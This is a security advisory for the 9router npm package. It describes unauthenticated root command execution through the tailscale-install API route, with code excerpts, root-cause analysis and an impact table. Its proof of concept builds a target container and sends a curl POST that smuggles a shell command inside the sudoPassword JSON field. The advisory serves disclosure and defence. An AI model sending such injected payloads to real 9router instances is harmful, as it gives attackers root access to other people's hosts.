GHSA-G6G7-PVMX-M74P

# Unauthenticated RCE via `/api/tunnel/tailscale-install`

**Affected:** `9router` (npm package) — current master (`v0.4.39`).

### Summary

`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.

### Details

#### 1. Middleware matcher (`src/proxy.js:3-15`)

```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ```

Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.

#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)

```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ```

`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.

#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)

```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ```

The byte stream sent to the stdin of the `sudo -S sh` child process is:

``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ```

When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:

1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input.

Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.

Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path.

### PoC

The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.

**Step 1 — build the target image**

```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g [email protected] EXPOSE 20128 CMD ["9router"] EOF ```

**Step 2 — start the target**

```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ```

**Step 3 — exploit (one unauthenticated POST)**

```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ```

**Step 4 — verify**

```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ```

The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.

### Impact

**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).

**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:

| Configuration | Example | Outcome | |---|---|---| | Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) | | Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold | | Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |

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